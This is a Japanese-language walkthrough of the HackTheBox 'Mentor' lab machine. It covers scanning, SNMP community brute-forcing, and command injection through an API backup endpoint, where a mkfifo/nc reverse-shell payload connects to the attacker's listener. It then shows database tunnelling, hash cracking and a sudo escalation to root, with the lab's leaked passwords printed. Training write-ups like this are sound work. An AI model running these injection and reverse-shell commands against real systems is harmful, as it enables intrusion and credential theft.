HackTheBox Mentor
Mentor
侵入
nmap
┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.193 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c73bfc3cf9ceee8b4818d5d1af8ec2bb (ECDSA)
|_ 256 4440084c0ecbd4f18e7eeda85c68a4f7 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
22番と80番を確認
web
特に情報はない
wfuzz
恐らくサブドメインが存在していると思うので、探索してみる
┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.mentorquotes.htb" -u mentorquotes.htb -t 100 --hc 302
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://mentorquotes.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000051: 404 0 L 2 W 22 Ch "api"
Total time: 0
Processed Requests: 114441
Filtered Requests: 114436
Requests/sec.: 0
調査の結果「api」を発見したので、/etc/hostsに記述しておく
gobuster
発見した api.mentorquotes.htb に対してディレクトリ探索を行う
┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ gobuster dir -u http://api.mentorquotes.htb -w /usr/share/wordlists/dirb/common.txt -o gobuster-api.log
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://api.mentorquotes.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/01/14 23:56:47 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/admin/]
/docs (Status: 200) [Size: 969]
/quotes (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/quotes/]
/server-status (Status: 403) [Size: 285]
/users (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/users/]
===============================================================
2023/01/14 23:58:45 Finished
===============================================================
docs を発見
api.mentorquotes.htb
docs にアクセスしてみる
api(OpenAPI)の説明がされている
試しにユーザを作成してみる
POST /auth/signup HTTP/1.1
Host: api.mentorquotes.htb
Accept: application/json
Referer: http://api.mentorquotes.htb/docs
Content-Type: application/json
Content-Length: 90
Connection: close
{
"email": "test@mentorquotes.htb",
"username": "testuser",
"password": "password"
}
応答を確認
HTTP/1.1 201 Created
Server: uvicorn
content-length: 62
content-type: application/json
access-control-allow-origin: *
access-control-allow-credentials: true
Connection: close
{
"id":4,
"email":"test@mentorquotes.htb",
"username":"testuser"
}
うまく作成できたことがわかる
次に、今作ったユーザでログインしてみる
POST /auth/login HTTP/1.1
Accept: application/json
Referer: http://api.mentorquotes.htb/docs
Content-Type: application/json
Content-Length: 90
Connection: close
{
"email": "test@mentorquotes.htb",
"username": "testuser",
"password": "password"
}
応答確認
HTTP/1.1 200 OK
Server: uvicorn
content-length: 157
content-type: application/json
access-control-allow-origin: *
access-control-allow-credentials: true
Connection: close
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZW1haWwiOiJ0ZXN0QG1lbnRvcnF1b3Rlcy5odGIifQ.MVjyOtW6YHGnqmQoNV5IUHRVhpaOeesojFNuhIWu2Ck"
認証が成功し、トークンが出力された
トークンを使用し、API を触ってみる
GET /users/ HTTP/1.1
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZW1haWwiOiJ0ZXN0QG1lbnRvcnF1b3Rlcy5odGIifQ.MVjyOtW6YHGnqmQoNV5IUHRVhpaOeesojFNuhIWu2Ck
Accept: application/json
Referer: http://api.mentorquotes.htb/docs
Connection: close
Content-Length: 2
Authorization にトークンを設定している
HTTP/1.1 403 Forbidden
Server: uvicorn
content-length: 54
content-type: application/json
Connection: close
{
"detail":"Only admin users can access this resource"
}
しかし、admin 権限ではないため、弾かれてしまった
とりあえず、james のメールアドレスがわかっているので、james でのログインを目指す
{
"email": "james@mentorquotes.htb",
"username": "james",
"password": "password"
}
とりあえず、パスワードは適当に入力
{
"detail":"Not authorized!"
}
当然のように弾かれてしまった
次に、james ユーザを新たに作成できないか試してみる
{
"email": "james@mentorquotes.htb",
"username": "james",
"password": "password"
}
今回もパスワードは適当に入力
{
"detail":"User already exists! "
}
やはり、ユーザが既に存在しているとエラーが出てしまった
どうにか作成したいので、メールアドレスだけを変更して新規登録してみる
{
"email": "test@mentorquotes.htb",
"username": "james",
"password": "password"
}
test@mentorquotes.htb に変更
{
"id":5,
"email":"test@mentorquotes.htb",
"username":"james"
}
作成できた
先程と同じようにログインし、トークンを取得。その後、users にアクセスできるか試してみる
{
"detail":"Only admin users can access this resource"
}
全く同じエラーが出てしまった。
snmp
手がかりを掴めない時間が続き、そういえば udp スキャンしていないことに気づいたので、してみた
┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ sudo nmap -sU -T4 -Pn 10.10.11.193
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
16402/udp open|filtered unknown
32777/udp open|filtered sometimes-rpc18
37813/udp open|filtered unknown
49226/udp open|filtered unknown
すると、161番が開いていることを確認
snmpbrute を実行し、コミュニティを列挙する
┌──(kali㉿kali)-[~/Desktop/Mentor/SNMP-Brute]
└─$ python3 snmpbrute.py -t 10.10.11.193
...
10.10.11.193 : 161 Version (v2c): internal
10.10.11.193 : 161 Version (v1): public
10.10.11.193 : 161 Version (v2c): public
10.10.11.193 : 161 Version (v1): public
10.10.11.193 : 161 Version (v2c): public
...
internal と public を発見
コミュニティを発見することができたので、snmpwalk を実行する
┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ snmpwalk -c internal -v2c 10.10.11.193
...
iso.3.6.1.2.1.25.4.2.1.5.2098 = ""
iso.3.6.1.2.1.25.4.2.1.5.2099 = ""
iso.3.6.1.2.1.25.4.2.1.5.2125 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
iso.3.6.1.2.1.25.4.2.1.5.2177 = ""
iso.3.6.1.2.1.25.4.2.1.5.2188 = ""
...
login.py とともにパスワードらしき文字列を発見
再度、ログインを試してみる
{
"email": "james@mentorquotes.htb",
"username": "james",
"password": "kj23sadkj123as0-d213"
}
応答確認
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJ
qYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
ログインが成功し、トークンが出力された
実際に、users で使用してみる
{
"id":1,
"email":"james@mentorquotes.htb",
"username":"james"
},
{
"id":2,
"email":"svc@mentorquotes.htb",
"username":"service_acc"
}
権限で弾かれることなく、アクセスできた
admin
ディレクトリ探索の際に、admin ディレクトリを発見していたので、アクセスする
当然のように認証は必須
{
"admin_funcs":{
"check db connection":"/check",
"backup the application":"/backup"
}
}
認証に成功すると、check と backup という2つのディレクトリが出力された
check にアクセスしてみる
{
"details":"Not implemented yet!"
}
まだ実装されていないというメッセージが返ってきた
次に、backup にアクセスしてみる
{
"detail":"Method Not Allowed"
}
メソッドが許可されていないらしいので、POST に変更してみる
{
"detail":[
{
"loc":[
"body"
],
"msg":"field required",
"type":"value_error.missing"
}
]
}
何かしらの値が必要だと言われた
空の json を送信してみる
{
"detail":[
{
"loc":[
"body",
"path"
],
"msg":"field required",
"type":"value_error.missing"
}
]
}
すると、body と path が必要であることがわかった
適当にリクエストを作成
{
"body":"body",
"path":"/path"
}
送信してみる
{
"INFO":"Done!"
}
何がうまくいったのかよくわからないが、Done と返ってきた
詳細はわからないが、コマンドが実行できるか試してみる
{
"body":"body",
"path":"/path;ping -c 2 10.10.14.6;"
}
kali へ ping を送るようにする
┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:46:22.960656 IP mentorquotes.htb > 10.10.14.6: ICMP echo request, id 9984, seq 0, length 64
00:46:22.960677 IP 10.10.14.6 > mentorquotes.htb: ICMP echo reply, id 9984, seq 0, length 64
ping が通ったので、コマンドが実行できたことがわかる
root(web) としてのシェル
reverse shell
先ほどのコマンド実行を利用し、リバースシェルを取得する
{
"body":"body",
"path":"/path;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4444 >/tmp/f;"
}
kali で待ち受ける
┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.193] 46231
/bin/sh: can't access tty; job control turned off
/app # whoami
root
侵入成功
列挙
db.py
調べていくと、/app/app の中に、db.py を発見
/app/app # ls -l
-rw-r--r-- 1 root root 0 Jun 4 2022 __init__.py
drwxr-xr-x 1 root root 4096 Nov 10 16:00 __pycache__
drwxr-xr-x 1 root root 4096 Nov 10 16:00 api
-rw-r--r-- 1 root root 0 Jun 4 2022 config.py
-rw-r--r-- 1 root root 1001 Jun 7 2022 db.py
-rw-r--r-- 1 root root 1149 Jun 4 2022 main.py
-rw-r--r-- 1 root root 704 Jun 4 2022 requirements.txt
内容を確認していく
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
PostgreSQL の情報を発見
172 で始まるアドレスなので、Chisel でトンネリングしていく
まずは、Kali側でサーバモードを実行する
┌──(kali㉿kali)-[~/Desktop/HackTheBox/tool]
└─$ ./chisel_1.7.7_linux_amd64 server -p 8000 --reverse
そして、マシン側で、クライアントとして実行
/tmp # ./chisel_1.7.7_linux_amd64 client 10.10.14.6:8000 R:5432:172.22.0.1:5432
ログを確認
┌──(kali㉿kali)-[~/Desktop/HackTheBox/tool]
└─$ ./chisel_1.7.7_linux_amd64 server -p 8000 --reverse
2023/01/21 21:42:54 server: Reverse tunnelling enabled
2023/01/21 21:42:54 server: Fingerprint akLxXwrHlsELci+CE9MMEXPcFyFSBHh1dzsgd4WIlGk=
2023/01/21 21:42:54 server: Listening on http://0.0.0.0:8000
2023/01/21 21:43:56 server: session#1: tun: proxy#R:5432=>172.22.0.1:5432: Listening
接続できていることがわかる
接続できたので、psql にアクセスしていく
┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ psql -h 10.10.14.6 -U "postgres" -p 5432
Password for user postgres:
psql (15.1 (Debian 15.1-1), server 13.7 (Debian 13.7-1.pgdg110+1))
Type "help" for help.
postgres=#
アクセスできた
データベースを指定する
postgres=# \c mentorquotes_db
psql (15.1 (Debian 15.1-1), server 13.7 (Debian 13.7-1.pgdg110+1))
You are now connected to database "mentorquotes_db" as user "postgres".
mentorquotes_db=#
データベースも指定できた
テーブルを検索
mentorquotes_db=# \d
List of relations
Schema | Name | Type | Owner
--------+---------------+----------+----------
public | cmd_exec | table | postgres
public | quotes | table | postgres
public | quotes_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
(5 rows)
users を発見
select 文を実行する
mentorquotes_db=# select * from users;
id | email | username | password
----+------------------------+-------------+----------------------------------
1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
(2 rows)
password がハッシュ化された状態で出力された
ハッシュ化はCrackStationによりすぐに、解読することができた
svc としてのシェル
SSH
解読したパスワードで、ログインする(パスワード : 123meunomeeivani)
┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ ssh svc@10.10.11.193
svc@10.10.11.193's password:
svc@mentor:~$ whoami
svc
シェルの取得に成功
user フラグ取得
svc@mentor:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグ取得成功
列挙
linpeas
とりあえず、linpeasを実行しておく
svc@mentor:/tmp$ ./linpeas.sh
...
╔══════════╣ Analyzing SNMP Files (limit 70)
-rw-r--r-- 1 root root 3453 Jun 5 2022 /etc/snmp/snmpd.conf
# rocommunity: a SNMPv1/SNMPv2c read-only access community name
rocommunity public default -V systemonly
rocommunity6 public default -V systemonly
-rw------- 1 Debian-snmp Debian-snmp 1268 Jan 21 12:39 /var/lib/snmp/snmpd.conf
...
色々気になる点はあったが、snmpd.confファイルを確認することにする
svc@mentor:~$ cat /etc/snmp/snmpd.conf
...
createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv
...
SuperSecurePassword123__ という文字を発見
james としてのシェル
su
root ユーザの認証に試してみたが、うまくいかなかったので、james で試してみる
svc@mentor:~$ su james
Password:
james@mentor:/home/svc$ whoami
james
james ユーザに切り替わることができた
権限昇格
sudo -l
james@mentor:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on mentor:
(ALL) /bin/sh
/bin/sh が使えてしまうらしい
root としてのシェル
/bin/sh
そのまま実行する
james@mentor:~$ sudo /bin/sh
# whoami
root
権限昇格成功
root フラグ取得
# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
攻略完了
所感
今回のボックスは、snmpの総当たりがその時の調子によって出力される値が変わってしまうことを知らず、2回実行しinternalを見つけることができなかったので、諦めて他を列挙していたため、時間がかかってしまった。最終的に、jamesユーザになって、sudoが使えるというオチだったが、平行権限移動が2回あるのは初めてのような気がするので、いい経験になった。linpeasは出力が多すぎてあまり読めない点も多いが、面倒臭がらずしっかり読むようにしていきたい。
Discussion